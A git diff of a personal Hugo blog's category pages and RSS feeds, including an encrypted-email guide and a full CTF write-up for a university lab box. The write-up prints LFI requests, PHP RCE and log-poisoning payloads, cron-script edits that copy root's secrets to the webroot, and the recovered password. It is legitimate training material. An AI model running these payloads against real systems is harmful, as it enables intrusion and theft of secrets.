curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
+curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
+gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/notes/page/1/index.html b/public-clearnet/categories/notes/page/1/index.html new file mode 100644 index 0000000..f37e715 --- /dev/null +++ b/public-clearnet/categories/notes/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/notes/ + \ No newline at end of file diff --git a/public-clearnet/categories/privacy/index.html b/public-clearnet/categories/privacy/index.html new file mode 100644 index 0000000..39f8fd8 --- /dev/null +++ b/public-clearnet/categories/privacy/index.html @@ -0,0 +1,11 @@ +Privacy | AlipourIm journeys +

Sending End‑to‑End Encrypted Email (E2EE) without losing friends

A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

October 30, 2025 · 10 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/privacy/index.xml b/public-clearnet/categories/privacy/index.xml new file mode 100644 index 0000000..16ebf71 --- /dev/null +++ b/public-clearnet/categories/privacy/index.xml @@ -0,0 +1,158 @@ +Privacy on AlipourIm journeyshttps://blog.alipour.eu/categories/privacy/Recent content in Privacy on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

+
+

Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

+

Why people don’t use E2EE email (and why you still should)

+

Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

+

But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

+

I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

+

The contenders (and how they feel to use)

+

Proton Mail (consumer‑friendly, great cross‑provider story)

+

Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

+

Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
+How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
+Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
+Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

+

Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

+

Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

+

Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

+

Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
+How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
+Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
+Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

+

I was introduced to this one literally for writing this post, I had no idea it existed before.

+

Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

+

If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

+

Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
+How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
+Ups: Seamless for employees; centralized key control; good audit/compliance story.
+Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

+

I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

+

Outlook / Apple Mail with S/MIME (classic enterprise path)

+

S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

+

Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
+How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
+Ups: Great inside enterprises; MDM‑friendly; widely supported.
+Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

+

Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

+

Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

+

Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

+

Prices: Free.
+How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
+Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
+Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

+

This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

+

Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

+

If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

+

Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
+How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
+Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
+Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

+

Just no. Don’t trust add-ons. Please.

+

So… which should you use?

+

If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

+

Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

+

A note on what E2EE hides (and what it doesn’t)

+

End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

+

Quick price & fit-at-a-glance

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OptionBest fitPersonal price vibeNotes
Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
+

The 60‑second starter packs

+

Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

+

Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

+
+

Shower thoughts

+

So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

+

A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

+

The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

+

In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

+

Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
+jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
+z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
+teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
+nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
+qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
+S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
+bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
+mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
+BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
+iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
+ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
+=R0VX
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
+curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
+gpg --verify e2ee.md.asc e2ee.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/privacy/page/1/index.html b/public-clearnet/categories/privacy/page/1/index.html new file mode 100644 index 0000000..d008901 --- /dev/null +++ b/public-clearnet/categories/privacy/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/privacy/ + \ No newline at end of file diff --git a/public-clearnet/categories/security/index.html b/public-clearnet/categories/security/index.html new file mode 100644 index 0000000..acc8158 --- /dev/null +++ b/public-clearnet/categories/security/index.html @@ -0,0 +1,11 @@ +Security | AlipourIm journeys +

A TU Wien CTF where Sysops Klaus left the keys in the cron job

LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

June 5, 2026 · 10 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/security/index.xml b/public-clearnet/categories/security/index.xml new file mode 100644 index 0000000..061fa67 --- /dev/null +++ b/public-clearnet/categories/security/index.xml @@ -0,0 +1,360 @@ +Security on AlipourIm journeyshttps://blog.alipour.eu/categories/security/Recent content in Security on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

+

This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

+

Each student group gets their own host (g00, g01, …). The goal is simple on paper:

+
    +
  1. Collect every passwd_part file sitting in user home directories.
  2. +
  3. Stitch them together into the root password (the full answer lives in /root/passwd).
  4. +
+

Simple. Boring. Except Klaus was clearly in charge of this VM.

+
+

0) The lay of the land

+

Target: g00.tuw.measurement.network

+

From the outside you mostly see three faces of the same machine:

+ + + + + + + + + + + + + + + + + + + + + +
HostWhat it is
g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
+

Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

+

SSH from outside? Public key only. Password auth is a lie (for us, anyway).

+
+

1) Recon — documentation.md saves the day

+

First stop: the main site.

+
curl -s https://g00.tuw.measurement.network/documentation.md
+

That file is basically a treasure map. It mentions two services:

+
    +
  • webweb.g00.tuw.measurement.network
  • +
  • pwresetpwreset.g00.tuw.measurement.network
  • +
+

I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

+

Subdomains resolve. Good. Let’s go web.

+
+

2) LFI — include($_GET['page']) classic

+

The web vhost is a frameset. Content loads in a frame via ?page=:

+
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
+

And there it is — root, users, the whole /etc/passwd parade inside the frame.

+

Source via PHP filter works too:

+
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
+  | sed -n 's/.*frame name="in">//p' | base64 -d
+

index.php is roughly:

+
<?php
+$page = $_GET['page'] ?? 'home.php';
+include($page);
+?>
+

Klaus, my man. We love you.

+

First instinct: read all the passwd_part files immediately.

+
# spoiler: doesn't work
+curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
+# → permission denied
+

Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

+
+

3) pwreset — localhost-only, but LFI doesn’t care about nginx

+

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

+
allow 127.0.0.1;
+deny all;
+

So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

+

pwreset source (paraphrased):

+
$user = $_GET['user'] ?? '';
+$pass = $_GET['pass'] ?? '';
+file_put_contents('/var/www/userchange', "$user:$pass\n");
+echo "Password reset queued.";
+

It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

+

Trigger it through LFI:

+
https://web.g00.tuw.measurement.network/
+  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
+  &user=user1
+  &pass=MyTestPass1!
+

I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

+
+

4) RCE — PHP in userchange, included like a boss

+

At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

+

So I wrote a tiny shell into the user field via pwreset:

+
<?=`id`?>
+

Then included /var/www/userchange through the LFI:

+
?page=/var/www/userchange
+

Output: uid=33(www-data) gid=33(www-data) ...

+

Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

+

From here on, my mental model was:

+
    +
  1. pwreset → write arbitrary-ish content to /var/www/userchange
  2. +
  3. LFI include userchange → execute PHP as www-data
  4. +
+

That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

+
+

5) Rabbit holes (aka “everything I tried before it worked”)

+

This box is a presentation CTF. It wants you to wander. I wandered. Hard.

+

nginx log poisoning

+

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

+

Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

+

data://, php://input, expect://

+
?page=data://text/plain,<?php system($_GET[cmd]); ?>
+?page=php://input   # with POST body
+?page=expect://id
+

Nope. allow_url_include = Off. Klaus isn’t that careless.

+

vim .swp files

+

.memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

+

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

+

Munin / apt_all plugin

+

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

+
    +
  • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
  • +
  • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
  • +
  • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
  • +
+

Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

+

pwreset log archaeology

+

Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

+
    +
  • Saw historical resets like user3foobar23
  • +
  • Tried foobar23 over SSH for every user
  • +
+

From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

+

Shell script injection into userchange

+

I tried newline injection to turn userchange into a bash script:

+
user=
+#!/bin/sh
+cp /home/user1/passwd_part /var/www/.../p1
+...
+

Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

+

Brute-forcing the userchange consumer

+

I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

+

Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

+

Direct SSH password guessing

+

Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

+

From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

+
+

6) Privesc — world-writable cron script (peak Klaus)

+

With RCE as www-data, I looked for writable files:

+
find / -writable -type f 2>/dev/null | head
+

Jackpot:

+
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
+

Original script (innocent):

+
#!/bin/bash
+grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
+

It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

+

I appended:

+
cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
+cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
+cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
+cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
+cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
+cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
+chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
+

Then either waited for cron or executed the script manually via RCE:

+
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
+

Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

+
+

7) SSH as www-data — because keys in the webroot are a mood

+

The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

+
# via RCE: cat the key, save locally, chmod 600
+ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
+  www-data@g00.tuw.measurement.network
+

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

+
+

8) The password parts

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SourceFilePart
user1p1DcC6Da0A27384fA
user2p29Ce05B3cAd57824
user3p33aD80fa1b7AE986
user4p4CDefabffab1FCCf
www-datapasswd_part44D885d6DAb8Bb9
rootrootpassghadnuthduxeec7
+

Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

+

Combined root password (95 characters):

+
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
+

Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

+

I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

+

Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

+
+

9) Attack chain (one screen)

+
documentation.md
+    → web vhost LFI (include $_GET['page'])
+        → include pwreset index.php (localhost bypass)
+            → write PHP to /var/www/userchange
+                → LFI include userchange
+                    → RCE as www-data
+                        → append to world-writable cron_update_hostname_file.sh
+                            → cron runs as root → copies passwd parts to webroot
+                                → read parts / SSH as www-data
+                                    → profit
+

Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

+
+

10) Replay script

+

I left a minimal Python replay in the challenge repo:

+
python3 solve.py
+

Core logic:

+
def pwreset(user, passwd=""):
+    # LFI-include pwreset index.php with user/pass params
+
+def rce(cmd):
+    pwreset(f"<?=`{cmd}`?>", "")
+    return lfi_include("/var/www/userchange")
+

It prints id, the modified cron script, each part file, and the combined password.

+
+

11) Bonus: the intended log poisoning path

+

After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

+

So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

+

The hint is in index.php, not documentation.md

+

documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

+
<!-- remember for debugging:
+    /var/log/nginx/$vhost.access.log
+    /var/log/nginx/$vhost.error.log
+    /var/log/nginx/ssl-$vhost.access.log
+    /var/log/nginx/ssl-$vhost.error.log
+-->
+

Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

+

Intended technique

+
    +
  1. +

    Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

    +
    /var/log/nginx/web.g00.tuw.measurement.network.access.log
    +
  2. +
  3. +

    Put PHP in the User-Agent (or another logged field):

    +
    <?php passthru($_GET['cmd']); ?>
    +

    Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

    +
  4. +
  5. +

    Include that log through the same LFI bug:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
    +  &cmd=id
    +
  6. +
+

On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

+

How I griefed myself

+ + + + + + + + + + + + + + + + + + + + + + + + + +
What I didWhy it hurt
Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
+

Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

+

If you’re solving it now

+
    +
  • Read index.php source first.
  • +
  • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
  • +
  • Include the non-ssl access log path from the comment.
  • +
  • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
  • +
+

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

+
+

12) TL;DR

+
    +
  • Read documentation.md — it tells you where the services live.
  • +
  • Read index.php source — the debug comment gives you the log paths.
  • +
  • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
  • +
  • What I did = pwreset → userchange → cron (also works, not the intended first step).
  • +
  • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
  • +
  • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
  • +
  • Flag = concatenate all passwd_part slices + /root/passwd suffix.
  • +
+

If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

+

Happy hacking. 🔓

+
+

Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
+jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
+91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
+iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
+35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
+FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
+oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
+zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
+//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
+MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
+YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
+zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
+=BDGe
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
+curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
+gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/security/page/1/index.html b/public-clearnet/categories/security/page/1/index.html new file mode 100644 index 0000000..90ba4bf --- /dev/null +++ b/public-clearnet/categories/security/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/security/ + \ No newline at end of file diff --git a/public-clearnet/categories/stories/index.html b/public-clearnet/categories/stories/index.html new file mode 100644 index 0000000..f5daf3e --- /dev/null +++ b/public-clearnet/categories/stories/index.html @@ -0,0 +1,11 @@ +Stories | AlipourIm journeys +

A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

October 18, 2025 · 9 min · Iman Alipour +
+
+RSS + +Visitors this week:
